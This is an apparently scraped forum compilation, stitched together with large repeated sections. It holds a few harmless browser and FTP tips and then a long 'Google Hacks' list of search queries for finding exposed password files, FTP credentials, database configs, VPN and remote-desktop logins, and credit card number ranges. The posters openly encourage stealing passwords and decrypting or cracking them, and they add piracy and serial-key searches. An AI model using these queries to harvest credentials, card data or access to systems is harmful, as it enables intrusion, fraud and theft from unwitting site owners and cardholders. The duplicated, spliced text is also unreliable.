A: You need to make one small change in the ZipMagic Properties window. First, click the Start Menu, then go to Programs|ZipMagic 4.0|ZipMagic Properties. Click the "Zip Folders" button, then click the "Applications" button. Then just add FlashFXP to the list of applications that sees zip files as files.
Q: I purchased FlashFXP v1.x-1.3 and my key doesn't work for v1.4-v2.0!
A: The key format was changed starting with version 1.4. You will need to email support@flashfxp.com and request a new one. New keys are provided free of charge.
Firefox Tweaks
Firefox Tweaks
http://www.theforumz.com/forumz/showthread.php?postid=251495#post251495
QUOTE
http://brilliantcorners.org/2004/02/12/make-a-great-browser-even-better
QUOTE
http://www.hicksdesign.co.uk/journal/545/
QUOTE
http://www.tweakfactor.com/articles/tweaks/firefoxtweak/ **Very good**
http://www.theforumz.com/forumz/showthread.php?postid=251495#post251495
QUOTE
http://brilliantcorners.org/2004/02/12/make-a-great-browser-even-better
QUOTE
http://www.hicksdesign.co.uk/journal/545/
QUOTE
http://www.tweakfactor.com/articles/tweaks/firefoxtweak/ **Very good**
Firefox Speed Tweaks
Yes, firefox is already pretty damn fast but did you know that you can tweak it and improve the speed even more?
That's the beauty of this program being open source.
Here's what you do:
In the URL bar, type “about:config” and press enter. This will bring up the configuration “menu” where you can change the parameters of Firefox.
Note that these are what I’ve found to REALLY speed up my Firefox significantly - and these settings seem to be common among everybody else as well. But these settings are optimized for broadband connections - I mean with as much concurrent requests we’re going to open up with pipelining… lol… you’d better have a big connection.
Double Click on the following settins and put in the numbers below - for the true / false booleans - they’ll change when you double click.
Code:
browser.tabs.showSingleWindowModePrefs – true
network.http.max-connections – 48
network.http.max-connections-per-server – 16
network.http.max-persistent-connections-per-proxy – 8
network.http.max-persistent-connections-per-server – 4
network.http.pipelining – true
network.http.pipelining.maxrequests – 100
network.http.proxy.pipelining – true
network.http.request.timeout – 300
One more thing… Right-click somewhere on that screen and add a NEW -> Integer. Name it “nglayout.initialpaint.delay” and set its value to “0”. This value is the amount of time the browser waits before it acts on information it receives. Since you’re broadband - it shouldn’t have to wait.
Now you should notice you’re loading pages MUCH faster now!
That's the beauty of this program being open source.
Here's what you do:
In the URL bar, type “about:config” and press enter. This will bring up the configuration “menu” where you can change the parameters of Firefox.
Note that these are what I’ve found to REALLY speed up my Firefox significantly - and these settings seem to be common among everybody else as well. But these settings are optimized for broadband connections - I mean with as much concurrent requests we’re going to open up with pipelining… lol… you’d better have a big connection.
Double Click on the following settins and put in the numbers below - for the true / false booleans - they’ll change when you double click.
Code:
browser.tabs.showSingleWindowModePrefs – true
network.http.max-connections – 48
network.http.max-connections-per-server – 16
network.http.max-persistent-connections-per-proxy – 8
network.http.max-persistent-connections-per-server – 4
network.http.pipelining – true
network.http.pipelining.maxrequests – 100
network.http.proxy.pipelining – true
network.http.request.timeout – 300
One more thing… Right-click somewhere on that screen and add a NEW -> Integer. Name it “nglayout.initialpaint.delay” and set its value to “0”. This value is the amount of time the browser waits before it acts on information it receives. Since you’re broadband - it shouldn’t have to wait.
Now you should notice you’re loading pages MUCH faster now!
Finding Missing Files From A Release
Finding Missing Files From A Release
I hope this hasn't been submitted before, but i did a search and didn't find anything so here goes.
Have you ever downloaded a game/app/movie/... and when it was finished, you find out that are some missing files or corrupt ones?
Well here's a way to find those files:
--> www.incomplete.me.uk
This is a service that works through irc (so mirc (or another) must be installed to use it).
You go on the specific channel (manually or by clicking one of the direct links on the site) and then "ask" for the specific file.
When there's someone out there who has it, it will be send to you automatically
If not, the file request shall be put on a queu list untill someone that has it, has sent it to the person that requested it.
!!! Obey the rules though, if not you can be banned from the channel and in severe cases your provider can be banned so others won't be able to use this !!!
I hope this can help out some people here, who have experienced/will experience this
I hope this hasn't been submitted before, but i did a search and didn't find anything so here goes.
Have you ever downloaded a game/app/movie/... and when it was finished, you find out that are some missing files or corrupt ones?
Well here's a way to find those files:
--> www.incomplete.me.uk
This is a service that works through irc (so mirc (or another) must be installed to use it).
You go on the specific channel (manually or by clicking one of the direct links on the site) and then "ask" for the specific file.
When there's someone out there who has it, it will be send to you automatically
If not, the file request shall be put on a queu list untill someone that has it, has sent it to the person that requested it.
!!! Obey the rules though, if not you can be banned from the channel and in severe cases your provider can be banned so others won't be able to use this !!!
I hope this can help out some people here, who have experienced/will experience this
Find Stuff
Find Stuff
Has this ever happened to you?
You're looking for something on a long web page with Internet Explorer or Netscape. You think it's there, but you're faced with seemingly insurmountable number of paragraphs, sentences, and words to hunt though.
Well, next time this happens to you, hit the Edit menu, Find (or CTRL-F for you shortcut lovers). You'll get a handy little "find" box that lets you type in a specific word. After you type in your search term, hit the Find Next button and Explorer will look for that word on the page. If it's successful, you'll be zapped right to it.
As if that wasn't cool enough, you can also use a variation of this tip in Windows Explorer. Next time you're looking for a file in Explorer, hit CRTL-F and you'll get a Find or Search box (depending on what flavor of Windows you're using).
If you are already in the area of your hard drive where you think the file is (say, My Documents), hit CTRL-F and your search will be set to look in the My Documents sfolder.
Has this ever happened to you?
You're looking for something on a long web page with Internet Explorer or Netscape. You think it's there, but you're faced with seemingly insurmountable number of paragraphs, sentences, and words to hunt though.
Well, next time this happens to you, hit the Edit menu, Find (or CTRL-F for you shortcut lovers). You'll get a handy little "find" box that lets you type in a specific word. After you type in your search term, hit the Find Next button and Explorer will look for that word on the page. If it's successful, you'll be zapped right to it.
As if that wasn't cool enough, you can also use a variation of this tip in Windows Explorer. Next time you're looking for a file in Explorer, hit CRTL-F and you'll get a Find or Search box (depending on what flavor of Windows you're using).
If you are already in the area of your hard drive where you think the file is (say, My Documents), hit CTRL-F and your search will be set to look in the My Documents sfolder.
Excellent tricks and techniques of Google Hacks
Excellent tricks and techniques of Google Hacks
ws_ftp.ini is a configuration file for a popular FTP client that stores usernames, (weakly) encoded passwords, sites and directories that the user can store for later reference. These should not be on the web!
That's some good stuff. Just copy/paste the text into your own WS FTP ini file and you're good as gold (assuming you're using the same version). Don't forget - even if they have taken the file offline, use the "cache:FULL_URL/wsftp.ini" to see the contents.
probably one of the best exploits I have seen in a long time, when I did it there were about 20 vulnerable computers, just recently there was 4 so I hope whitehats got to this before anyone else. really nice !!
To see results; just write in the (http://www.google.com/) search engine the code:
intitle:index.of ws_ftp.ini
==============================================
Frontpage.. very nice clean search results listing !! I magine with me that you can steal or know the password of any web site designed by "Frontpage". But the file containing the password might be encrypted; to decrypt the file download the program " john the ripper".
To see results; just write in the (http://www.google.com/) search engine the code:
"# -FrontPage-" inurl:service.pwd
==============================================
This searches the password for "Website Access Analyzer", a Japanese software that creates webstatistics.
To see results; just write in the (http://www.google.com/) search engine the code:
"AutoCreate=TRUE password=*"
==============================================
This is a query to get inline passwords from search engines (not just Google), you must type in the query followed with the the domain name without the .com or .net.
To see results; just write in the (http://www.google.com/) search engine the code:
"http://*:*@www" bangbus or "http://*:*@www"bangbus
Or
http://bob:bob@www
Or
http://admin:*@www
==============================================
This search is a cleanup of a previous entry by J0hnny. It uses "parent directory" to avoid results other than directory listings.
WS_FTP.ini is a configuration file for a popular win32 FTP client that stores usernames and weakly encoded passwords.
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:ini ws_ftp pwd
Or
"index of/" "ws_ftp.ini" "parent directory"
==============================================
Microsoft Frontpage extensions appear on virtually every type of scanner. In the late 90's people thought they where hardcore by defacing sites with Frontpage. Today, there are still vulnerable servers found with Google.
An attacker can simply take advantage from administrators who 'forget' to set up the policies for Frontpage extensions. An attacker can also search for 'filetype:pwd users'.
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:pwd service
==============================================
Not all of these pages are administrator's access databases containing usernames, passwords and other sensitive information, but many are! And much adminstrated passwords and user passwords, a lot of emails and the such too…
To see results; just write in the (http://www.google.com/) search engine the code:
allinurl: admin mdb
==============================================
DCForum's password file. This file gives a list of (crackable) passwords, usernames and email addresses for DCForum and for DCShop (a shopping cart program(!!!). Some lists are bigger than others, all are fun.
To see results; just write in the (http://www.google.com/) search engine the code:
allinurl:auth_user_file.txt
==============================================
This search brings up sites with "config.php" files. To skip the technical discussion, this configuration file contains both a username and a password for an SQL database. Most sites with forums run a PHP message base. This file gives you the keys to that forum, including FULL ADMIN access to the database. To see view the PHP files; there in lies the catch. Browsers are made to process the commands of PHP before display, so if no commands, nothing to show. You can't use that persay to get into the config file, but it would show potential threats if someone got into server anyway. (If that happens you're basically boned anyway, not much around that.
To see results; just write in the (http://www.google.com/) search engine the code:
intitle:index.of config.php
By the way, to know how to view the PHP file contents, you can use this code:
intitle:"Index of" phpinfo.php
==============================================
These files contain ColdFusion source code. In some cases, the pages are examples that are found in discussion forums. However, in many cases these pages contain live sourcecode with usernames, database names or passwords in plaintext.
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:cfm "cfapplication name" password
==============================================
FlashFXP offers the easiest and fastest way to transfer any file using FTP, providing an exceptionally stable and robust program that you can always count on to get your job done quickly and efficiently. There are many, many features available in FlashFXP.
The flashFXP.ini file is its configuration file and may contain usernames/passwords and everything else that is needed to use FTP.
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:ini inurl:flashFXP.ini
==============================================
The encryption method used in WS_FTP is _extremely_ weak. These files can be found with the "index of" keyword or by searching directly for the PWD= value inside the configuration file.
There is an easy way to decrypt the hash, use the decryptor at:
http://www.codebluehacks.com/Tools.php?ID=1
Or
http://www.hispasec.com/directorio/laboratorio/Software/ws_ftp.html
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:ini ws_ftp pwd
==============================================
These files contain cleartext usernames and passwords, as well as the sites associated with those credentials. Attackers can use this information to log on to that site as that user.
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:log inurl:"password.log"
==============================================
Web Wiz Forums is a free ASP Bulletin Board software package. It uses a Microsoft Access database for storage. The installation instructions clearly indicate to change the default path and filename (admin/database/wwForum.mdb).
vendor: http://www.webwizguide.info/web_wiz_forums/
The forum database contains the members passwords, either encrypted or in plain text, depending on the version.
Please note: this search is proof that results can stay in Google's index for a long time, even when they are not on the site any longer. Currently only 2 out of 9 are actually still downloadable by an attacker.
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:mdb wwforum
==============================================
VNC is a remote-controlled desktop product. Depending on the configuration, remote users may not be presented with a password. Even when presented with a password, the mere existance of VNC can be important to an attacker, as is the open port of 5800.
To see results; just write in the (http://www.google.com/) search engine the code:
"VNC Desktop" inurl:5800
By the way, New version of VNC changed title to VNC Viewer so now you can search for…
intitle:vnc.desktop inurl:5800
==============================================
linux vpns store their usernames and passwords for CHAP authentification in a file called "chap-secrets" where the usernames and the passwords are in cleartext.
To see results; just write in the (http://www.google.com/) search engine the code:
inurl:chap-secrets -cvs
==============================================
These lock files often contain usernames of the user that has locked the file. Username harvesting can be done using this technique.
To see results; just write in the (http://www.google.com/) search engine the code:
"index of" / lck
==============================================
A standard FTP configuration file that provides far too many details about how the server is setup, including installation paths, location of logfiles, generic username and associated group, etc.
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:conf inurl:proftpd.conf -sample
==============================================
This search finds registry files from the Windows Operating system. Considered the "soul" of the system, these files, and snippets from these files contain sensitive information, in this case usernames and/or passwords.
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:reg reg HKEY_CURRENT_USER username
==============================================
Allows an attacker to create an account on a server running Argosoft mail server pro for windows with unlimited disk quota (but a 5mb per message limit should you use your account to send mail).
To see results; just write in the (http://www.google.com/) search engine the code:
"adding new user" inurl:addnewuser -"there are no domains"
==============================================
The famous Sun linux appliance. The default page displays this text:
"Congratulations on Choosing a Cobalt RaQ - the premier server appliance platform for web hosting. This page can easily be replaced with your own page. To replace this page, transfer your new content to the directory /home/sites/home/web".
To see results; just write in the (http://www.google.com/) search engine the code:
(inurl:81/cgi-bin/.cobalt/) | (intext:"Welcome to the Cobalt RaQ")
==============================================
WS_FTP.LOG can be used in many ways to find more information about a server. This query is very flexible, just substitute "+htpasswd" for "+FILENAME" and you may get several hits that you hadn't seen with the 'normal' search.
Filenames suggested by the forum to explore are: phpinfo, admin, MySQL, password, htdocs, root, Cisco, Oracle, IIS, resume, inc, sql, users, mdb, frontpage, CMS, backend, https, editor, intranet . The list goes on and on..
A different approach might be "allinurl: "some.host.com" WS_FTP.LOG filetype:log" which tells you more about who's uploading files to a specific site.
To see results; just write in the (http://www.google.com/) search engine the code:
+htpasswd +WS_FTP.LOG filetype:log
==============================================
The Web Data Administrator is a utility program implemented in ASP.NET that enables you to easily manage your SQL Server data wherever you are. Using its built-in features, you can do the following from Internet Explorer or your favorite Web browser.
Create and edit databases in Microsoft SQL Server 2000 or Microsoft SQL Server 2000 Desktop Engine (MSDE) Perform ad-hoc queries against databases and save them to your file system Export and import database schema and data.
To see results; just write in the (http://www.google.com/) search engine the code:
intitle:"Web Data Administrator - Login"
==============================================
The Aanval Intrusion Detection Console is an advanced intrusion detection monitor and alerting system. Currently supporting modules for Snort and syslog - Aanval provides real-time monitoring, reporting, alerting and stability. Aanval's web-browser interface provides real-time event viewing and system/sensor management.
To see results; just write in the (http://www.google.com/) search engine the code:
intitle:"remote assessment" OpenAanval Console
==============================================
Google is so smart, it’s scary sometimes. I has found another interesting (to say the least) Google use.
I just ran across a pretty scary new google trick. It seems they have just recently added number span searching to their engine. Take a look at this example:
To see results; just write in the (http://www.google.com/) search engine the code:
visa 4356000000000000..4356999999999999
Basically, what this search does is search for the word “visa” [credit card] with any numbers that fit within your query. i.e. any Visa credit card number with the first four digits 4356.
As you can see, Google has searched the entire range against its DB. Within minutes I found some crazy sites like this one. Now please know that Google didn’t create this tool to be used like this. It’s actually quite handy when used correctly. Just an FYI for all of you.
==============================================
Tired of websearching ? Want something to read ? You can find Ebooks (thousands of them) with this search..LIT files can be opened with Microsoft Reader (http://www.microsoft.com/reader/).
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:lit lit (books|ebooks)
==============================================
Using Google, and some finely crafted searches we can find a lot of interesting information.
For Example we can find: Credit Card Numbers / Passwords / Software / MP3's
...... (and on and on and on)Presented below is just a sample of interesting searches that we can send to google to obtain info that some people might not want us having.. After you get a taste using some of these, try your own crafted searches to find info that you would be interested in.
To see results; just write in the (http://www.google.com/) search engine the code:
intitle:"Index of" passwords modified
And
allinurl:auth_user_file.txt
And
"access denied for user" "using password"
And
"A syntax error has occurred" filetype:ihtml
And
allinurl: admin mdb
And
"ORA-00921: unexpected end of SQL command"
And
inurl:passlist.txt
And
"Index of /backup"
And
"Chatologica MetaSearch" "stack tracking:"
And
Amex Numbers: 300000000000000..399999999999999
And
MC Numbers: 5178000000000000..5178999999999999
And
visa 4356000000000000..4356999999999999
==============================================
Notice I am only changing the word after the parent directory, change it to what you want and you will get a lot of stuff.
To see results; just write in the (http://www.google.com/) search engine the code:
"parent directory " /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
And
"parent directory " DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
And
"parent directory "Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
And
"parent directory " Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
And
"parent directory " MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
And
"parent directory " Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
Or
?intitle:index.of? mp3
You only need add the name of the song/artist/singer.
Example: ?intitle:index.of? mp3 jackson
==============================================
You can change the string to watever you want, ex. microsoft to adobe, iso to zip etc…
To see results; just write in the (http://www.google.com/) search engine the code:
inurl:microsoft filetype:iso
==============================================
This search reveals channel keys (passwords) on IRC as revealed from IRC chat logs.
To see results; just write in the (http://www.google.com/) search engine the code:
"sets mode: +k"
==============================================
These are eggdrop config files. Avoiding a full-blown descussion about eggdrops and IRC bots, suffice it to say that this file contains usernames and passwords for IRC users.
To see results; just write in the (http://www.google.com/) search engine the code:
eggdrop filetype:user user
==============================================
This will search for backup files (*.bak) created by some editors or even by the administrator himself (before activating a new version).
Every attacker knows that changing the extenstion of a file on a webserver can have ugly consequences.
see results; just write in the (http://www.google.com/) search engine the code:
filetype:bak inurl:"htaccess|passwd|shadow|htusers"
==============================================
Let's pretend you need a serial number for windows xp pro. The key is the 94FBR code.. it was included with many MS Office registration codes so this will help you dramatically reduce the amount of 'fake' porn sites that trick you.
To see results; just write in the (http://www.google.com/) search engine the code:
"Windows XP Professional" 94FBR
By the way, don't forget to change "Window sXP Professional" to any product you need its serial number.
==============================================
Notice this excellent trick. You can search for any product whether hardware or software (between any prices price: for example, $250.. $350 ).
To see results; just write in the (http://www.google.com/) search engine the code:
DVD player $250..350
By the way, don't forget to change "DVD player" to any product you need to search for.
==============================================
At first glance, this search reveals even more examples of operating system users enabling the operating system default web server software. This is generally accepted to be a Bad Idea(TM) as mentioned in the previous example. However, the googleDork index on this particular category gets quite a boost from the fact that this particular screen should NEVER be seen by the general public. To quote the default index screen: "Any users attempting to connect to this site are currently receiving an 'Under Construction page'" THIS is not the 'Under Construction page.' I was only able to generate this screen while sitting at the console of the server. The fact that this screen is revealed to the general public may indicate a misconfiguration of a much more insidious nature...
To see results; just write in the (http://www.google.com/) search engine the code:
intitle:"Welcome to Windows 2000 Internet Services"
==============================================
Suppose you want a certain song to a singer and you can not find it; by this trick you can find the song in the original directory of the original web site.
To see results; just write in the (http://www.google.com/) search engine the code:
"index of/" "Top Gun" .mp3
By the way, don't forget to change "Top Gun" to any song you need to search for.
==============================================
This is a fabulous link. This is the secret link of the web site "Google" to search for any "Crack" you need.
Just write the following link in the address bar:
http://www.googlecrack.com/WWW/
==============================================
By the way, for anyone who needs to have an account in the google mail for "One GigaByte", go to the following address bar. You will receive within "36 hours" the confirmation mail for your registration:
http://www.googlemail.cjb.net/
Or from:
http://www.gmailforums.com/index.php
By the way, you can open your Google mail from your browser through this link:
http://toolbar.google.com/gmail-helper/
==============================================
Imagine that when you enter any web site, and you are surprised that when searching for any program in it you can not find it. By this fabulous trick, you can find the link for downloading any program in this site through any search engine.
For example, suppose you want to search for the program "Norton" in the web site www.download.com ; when you go to www.google.com and write the following code, you will be surprised that the "Google" search engine searches only in the site www.download.com. To do this:
Write in the address bar of the web browser this address: www.google.com.
When opening the web site; write in the search engine this code: "norton site: www.download.com", and press the button search or "ÃÈÍË".
As mentioned earlier: the code is easy, you just write in the place of the word "Norton"; any word you need to search for in the site followed in the code.
The code again is....
norton site:www.download.com
By the way, you can practice this code at any search engine.
Another trick is that you can force the search engine of the "Google" web site to search for a certain category like "Linux" topics. When you add any category after the Google link and write any thing in the search engine, you will surprised that the site searched for Linux only. For example, if you wrote the following code:
http://www.google.com/linux
As I mentioned in the code earlier, the site followed by the word "Linux". So the web site is forced for searching for the Linux topics only all over the internet.
==============================================
Imagine that you can connect to another computer remotely through the internet from the feature called "Remote Desktop Web Connection".
To see results; just write in the (http://www.google.com/) search engine the code:
intitle:"Remote Desktop Web Connection"
==============================================
Through this query you can find every web page "Google" has crawled for a specific site.
To see results; just write in the (http://www.google.com/) search engine the code:
Site: Microsoft.com
==============================================
Through this query, you can see web servers with default pages can serve as juicy targets.
To see results; just write in the (http://www.google.com/) search engine the code:
Intitle:test.page.for.apache "it worked"
==============================================
No one can deny that the directory listings can be a source of great information.
To see results; just write in the (http://www.google.com/) search engine the code:
Intitle:index.of/admin
==============================================
We will use this query to locate additional servers, subtract common hostnames from the query.
To see results; just write in the (http://www.google.com/) search engine the code:
Site: Microsoft.com - Site:www.Microsoft.com
==============================================
From this query you can get huge user names and passwords from huge sites for free.
To see results; just write in the (http://www.google.com/) search engine the code:
"Welcome to *" "Your password is *"
==============================================
From this query you can collect many numbers of ".PST" files, which contain all E-mail folders, addresses or anything else that Outlook 97, 2000, xp or 2003 collects.
To see results; just write in the (http://www.google.com/) search engine the code:
outlook filetype:pst
==============================================
allinurl:gmail.google.com
"NetLife" Exclusive: Security hole found in "Gmail"
An Israeli hacker reveals: A security hole in "Gmail" allows the compromise of users' email boxes – without the need of a password Nitzan Weidenfeld, Nana NetLife Magazine.
So you’ve got a "Gmail" mail account? Or maybe you’ve just received an invitation? Well, we have some bad news for you: Your mail box is exposed. A major security hole in Google's mail service, allows full access to user accounts, without the need of a password.
"Everything could get publicly exposed – your received mails might be readable, as well as all of your sent mail, and furthermore – anyone could send and receive mail under your name", thus reveals Nir Goldshlagger, an Israeli hacker, on an exclusive interview with "Nana NetLife" Magazine. "Even more alarming", he explains, "is the fact that the hack itself is quite simple. All that is needed of the malicious hacker, beside knowledge of the specific technique, is quite basic computer knowledge, the victim's username – and that’s it, he's inside".
When approached, Google admitted to the security flaw. Google also assured us that this matter is being resolved, and that "the company will go to any length to protect its users".
The flaw which was discovered by Goldshlagger and was tested many times by Nana's editorial board had shown an alarming success rate. In order not to further jeopardize mail boxes' owners, we will only disclose that the process is based upon a security breach in the service's identity authentication. It allows the hacker to "snatch" the victims cookie file (a file planted in the victim's computer used to identify him) using a seemingly innocent link (which directs to Gmail's site itself). Once stolen, this cookie file allows the hacker to identify himself as the victim, without the need of a password. Even if the victim does change his password afterwards, it will be to no avail. "The system authenticates the hacker as the victim, using the stolen cookie file. Thus no password is involved in the authentication process. The victim can change his password as many times as he pleases, and it still won't stop the hacker from using his box", explains Goldshlagger.
Whether hackers have already used this method to compromise users' accounts is unclear at the moment.
Matters are several times worse when it comes to a service such as "Gmail". Besides the obvious blow to Google's seemingly spotless image, we're looking here at a major threat to anyone who has turned to "Gmail" as his major email box. "Because "Gmail" offers a gigabyte of storage, several times bigger than most other web based mail services, users hardly delete any old correspondence", says Goldshlagger. "The result is a huge amount of mail accumulating in the users' boxes, which frequently include bank notices, passwords, private documents and other files the user wanted to backup. Who ever takes a hold of this data, could literally take over the victim's life and identity".
"Ofer Elzam", a security expert for "Aladdin", who examined the security hole at "Nana's Netlife" request, explains: "This is a major threat, for the following reasons: First – the users have no way of protecting themselves. Second – it's quite easy to carry out, and third – it allows identity theft, which is nothing less than a serious danger to the victim".
"On the bright side", he adds, "its a good thing that this hole was found now, before the service was officially announced and offered to millions of users world-wide. I reckon it's just a matter of time before an automatic tool is made, which would allow even the less computer-savvy people to exploit this hack. The damage, needless to say, could be huge"
Is there a way, after all, to protect ourselves in the face of this danger? Elzam does not bear good news on the matter. "The only immediate solution that comes to mind is not using "Gmail" to store any messages or files that might be maliciously used. At least until Google attends to this problem".
I received a weird email last week and I forwarded it to the bug report. Guess that was the cookie link I talked about. I put it here:
From: accounts-noreply@google.com
To: xxxx@xxxx
Date: Tue, 26 Oct 2004 08:22:16 -0700 (PDT)
Subject: Google Password Assistance
Reply | Reply to all | Forward | Print | Add sender to contacts list | Trash this message | Show original
To initiate the process for resetting the password for your
xxxxx@gmail.com Google Account, visit the link below
http://www.google.com/accounts/xxxx----removed----xxxx
Thank you for using Google.
For questions or concerns regarding your account, please send mail to
accounts-support@google.com.
This is a post-only mailing. Replies to this message are not monitored
or answered.
And this is the explanation to what mentioned earlier:
Last Monday reported that a vulnerability in "GSuite". A local user can obtain the target user's "GMail" password.
It is reported that a local user with access to the target user's 'documents and settings\user name\Application Data\GSuite\' folder can view the 'settings.xml' file, which contains the target user's password in ASCII value encoded form. The password can be readily decoded.
Impact: A local user can obtain a target user's GMail password.
Solution: No solution was available at the time of this entry. The vendor plans to include a fix in the next release.
==============================================
The Cisco VPN 3000 concentrator is a remote access VPN. This web-based logon portal is for remote management of the Concentrator; by submitting a correct UID and PASS you will '0wn' their concentrator. I. E. is able to delete, copy, and configure whatever your heart desires. You would be in control of all of their VPN's that concentrator has control of.
To see results; just write in the (http://www.google.com/) search engine the code:
intitle:Cisco Systems, Inc. VPN 3000 Concentrator
==============================================
This query searches for open root directories of servers running online shopping carts. This shopping cart has an online store 'manager'; in /online-store/StoreManager where you can edit everything from product lists, databases, taxes and passwords.
To see results; just write in the (http://www.google.com/) search engine the code:
intitle:Index.Of /" stats merchant onl
ws_ftp.ini is a configuration file for a popular FTP client that stores usernames, (weakly) encoded passwords, sites and directories that the user can store for later reference. These should not be on the web!
That's some good stuff. Just copy/paste the text into your own WS FTP ini file and you're good as gold (assuming you're using the same version). Don't forget - even if they have taken the file offline, use the "cache:FULL_URL/wsftp.ini" to see the contents.
probably one of the best exploits I have seen in a long time, when I did it there were about 20 vulnerable computers, just recently there was 4 so I hope whitehats got to this before anyone else. really nice !!
To see results; just write in the (http://www.google.com/) search engine the code:
intitle:index.of ws_ftp.ini
==============================================
Frontpage.. very nice clean search results listing !! I magine with me that you can steal or know the password of any web site designed by "Frontpage". But the file containing the password might be encrypted; to decrypt the file download the program " john the ripper".
To see results; just write in the (http://www.google.com/) search engine the code:
"# -FrontPage-" inurl:service.pwd
==============================================
This searches the password for "Website Access Analyzer", a Japanese software that creates webstatistics.
To see results; just write in the (http://www.google.com/) search engine the code:
"AutoCreate=TRUE password=*"
==============================================
This is a query to get inline passwords from search engines (not just Google), you must type in the query followed with the the domain name without the .com or .net.
To see results; just write in the (http://www.google.com/) search engine the code:
"http://*:*@www" bangbus or "http://*:*@www"bangbus
Or
http://bob:bob@www
Or
http://admin:*@www
==============================================
This search is a cleanup of a previous entry by J0hnny. It uses "parent directory" to avoid results other than directory listings.
WS_FTP.ini is a configuration file for a popular win32 FTP client that stores usernames and weakly encoded passwords.
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:ini ws_ftp pwd
Or
"index of/" "ws_ftp.ini" "parent directory"
==============================================
Microsoft Frontpage extensions appear on virtually every type of scanner. In the late 90's people thought they where hardcore by defacing sites with Frontpage. Today, there are still vulnerable servers found with Google.
An attacker can simply take advantage from administrators who 'forget' to set up the policies for Frontpage extensions. An attacker can also search for 'filetype:pwd users'.
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:pwd service
==============================================
Not all of these pages are administrator's access databases containing usernames, passwords and other sensitive information, but many are! And much adminstrated passwords and user passwords, a lot of emails and the such too…
To see results; just write in the (http://www.google.com/) search engine the code:
allinurl: admin mdb
==============================================
DCForum's password file. This file gives a list of (crackable) passwords, usernames and email addresses for DCForum and for DCShop (a shopping cart program(!!!). Some lists are bigger than others, all are fun.
To see results; just write in the (http://www.google.com/) search engine the code:
allinurl:auth_user_file.txt
==============================================
This search brings up sites with "config.php" files. To skip the technical discussion, this configuration file contains both a username and a password for an SQL database. Most sites with forums run a PHP message base. This file gives you the keys to that forum, including FULL ADMIN access to the database. To see view the PHP files; there in lies the catch. Browsers are made to process the commands of PHP before display, so if no commands, nothing to show. You can't use that persay to get into the config file, but it would show potential threats if someone got into server anyway. (If that happens you're basically boned anyway, not much around that.
To see results; just write in the (http://www.google.com/) search engine the code:
intitle:index.of config.php
By the way, to know how to view the PHP file contents, you can use this code:
intitle:"Index of" phpinfo.php
==============================================
These files contain ColdFusion source code. In some cases, the pages are examples that are found in discussion forums. However, in many cases these pages contain live sourcecode with usernames, database names or passwords in plaintext.
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:cfm "cfapplication name" password
==============================================
FlashFXP offers the easiest and fastest way to transfer any file using FTP, providing an exceptionally stable and robust program that you can always count on to get your job done quickly and efficiently. There are many, many features available in FlashFXP.
The flashFXP.ini file is its configuration file and may contain usernames/passwords and everything else that is needed to use FTP.
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:ini inurl:flashFXP.ini
==============================================
The encryption method used in WS_FTP is _extremely_ weak. These files can be found with the "index of" keyword or by searching directly for the PWD= value inside the configuration file.
There is an easy way to decrypt the hash, use the decryptor at:
http://www.codebluehacks.com/Tools.php?ID=1
Or
http://www.hispasec.com/directorio/laboratorio/Software/ws_ftp.html
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:ini ws_ftp pwd
==============================================
These files contain cleartext usernames and passwords, as well as the sites associated with those credentials. Attackers can use this information to log on to that site as that user.
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:log inurl:"password.log"
==============================================
Web Wiz Forums is a free ASP Bulletin Board software package. It uses a Microsoft Access database for storage. The installation instructions clearly indicate to change the default path and filename (admin/database/wwForum.mdb).
vendor: http://www.webwizguide.info/web_wiz_forums/
The forum database contains the members passwords, either encrypted or in plain text, depending on the version.
Please note: this search is proof that results can stay in Google's index for a long time, even when they are not on the site any longer. Currently only 2 out of 9 are actually still downloadable by an attacker.
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:mdb wwforum
==============================================
VNC is a remote-controlled desktop product. Depending on the configuration, remote users may not be presented with a password. Even when presented with a password, the mere existance of VNC can be important to an attacker, as is the open port of 5800.
To see results; just write in the (http://www.google.com/) search engine the code:
"VNC Desktop" inurl:5800
By the way, New version of VNC changed title to VNC Viewer so now you can search for…
intitle:vnc.desktop inurl:5800
==============================================
linux vpns store their usernames and passwords for CHAP authentification in a file called "chap-secrets" where the usernames and the passwords are in cleartext.
To see results; just write in the (http://www.google.com/) search engine the code:
inurl:chap-secrets -cvs
==============================================
These lock files often contain usernames of the user that has locked the file. Username harvesting can be done using this technique.
To see results; just write in the (http://www.google.com/) search engine the code:
"index of" / lck
==============================================
A standard FTP configuration file that provides far too many details about how the server is setup, including installation paths, location of logfiles, generic username and associated group, etc.
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:conf inurl:proftpd.conf -sample
==============================================
This search finds registry files from the Windows Operating system. Considered the "soul" of the system, these files, and snippets from these files contain sensitive information, in this case usernames and/or passwords.
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:reg reg HKEY_CURRENT_USER username
==============================================
Allows an attacker to create an account on a server running Argosoft mail server pro for windows with unlimited disk quota (but a 5mb per message limit should you use your account to send mail).
To see results; just write in the (http://www.google.com/) search engine the code:
"adding new user" inurl:addnewuser -"there are no domains"
==============================================
The famous Sun linux appliance. The default page displays this text:
"Congratulations on Choosing a Cobalt RaQ - the premier server appliance platform for web hosting. This page can easily be replaced with your own page. To replace this page, transfer your new content to the directory /home/sites/home/web".
To see results; just write in the (http://www.google.com/) search engine the code:
